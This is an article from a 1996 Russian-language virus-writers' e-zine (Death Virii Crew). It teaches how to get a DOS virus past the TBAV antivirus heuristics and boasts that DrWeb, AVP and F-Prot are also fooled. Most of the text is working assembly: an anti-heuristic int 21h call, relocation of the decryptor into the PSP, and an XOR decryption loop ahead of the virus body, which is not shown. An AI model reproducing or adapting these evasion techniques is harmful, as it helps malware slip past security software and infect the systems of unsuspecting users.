[Death Virii Crew] Presents CHAOS A.D. Vmag, Issue 2, Summer 1996 file 009 ...как Вы думаете - слово "звонок" больше относится к слову "звонить" или к глаголу "заебывать"? ...(c) Ян Грин Как вы думаете, к чему больше относится TBAV ? Как поиметь TBAV. Подумалось, а возможно ли написать вирус, чтобы TBAV на него не заругался ? ЕЕ. Возможно и очень просто. Впрочем, по порядку. Я столкнулся с проблемой, что какой бы наворочанной процедура дешифровки не была - TBAV на нее непременно заругается, даже (и тем более) если разкриптовать не может (В силу антиэвристики). Казалось бы - все, дальше идти некуда. Hо, если процедуру разкриптовки перемещаем в память, не относящуюся к проге и там ее выполняем - то для некоторых граждан наступает облом. В частности WEB кажется вообще не в состоянии эмулить где-либо помимо кода проги. Для COM это PSP:100h и далее (код проги). Hо для TBAV'a такие вещи просто так не проходят, он эмулит это. Он выполняет процедуру разкриптовки и благополучно попадает в вирус, где включает анализатор и успешно сигнализирует об этом фразой "might be infected by an unknown virus". Hо, он не заругается, про некую, то есть нашу, процедуру разкриптовки. Он об этом просто промолчит. Видимо думает, раз эта процедура лежит не в сфере нашей программы, то она к ней и не относится. Значит и кричать собственно незачем. Вот тут то мы и включим в эту процедуру некий антиэвристический код. Скажем вызов левого прерывания. Скажем это будет какое- нибудь документированное, ибо есть тупая привычка у TBAV'a кричать на вызовы недокументированных функций. Скажем это будет mov ax,0d07h/int 21h. В al после этой всей ерунды мы увидим 0FFh, А TBAV - нет. Вот и все. Hи одного выставленного флага - ничего. Полный торч. Чего собственно и было нужно. Hе стоит говорить о том, что DrWeb,AVP,F-Prot отсеялись еще раньше. Все молчат, тишина. И только вирус делает свое дело. ;))) Скажем, это может быть так: .model tiny .code org 100h start: ;=================== Стадия первая - Антиэвристика. =============== mov ax,0d07h int 21h xor ah,ah ;ax = 0ffh sub al,1fh ;Вот тут ax = 0e0h, ; это знаем мы. Hу а откуда TBAV'у об этом знать ? ;)) ;========= Стадия вторая - Перемещение процедуры дешифровки. ====== lea si,decrypt mov di,ax ; Можно было бы прикалываться над si, надежней было бы ;) push di ; 0e0h mov cx,len_decrypt cld rep movsb ret ; to psp:0e0h ;========= Стадия третья - Примитивная процедура дешифровки. ======= decrypt: lea si,begin mov di,si push di mov cx,cryp mov bx,0 _kod equ $-2 beg: lodsw xor ax,bx stosw loop beg ret len_decrypt equ $-decrypt ;=========== начало вируса ========= _begin equ $-start begin: ... (c) Reminder [DVC]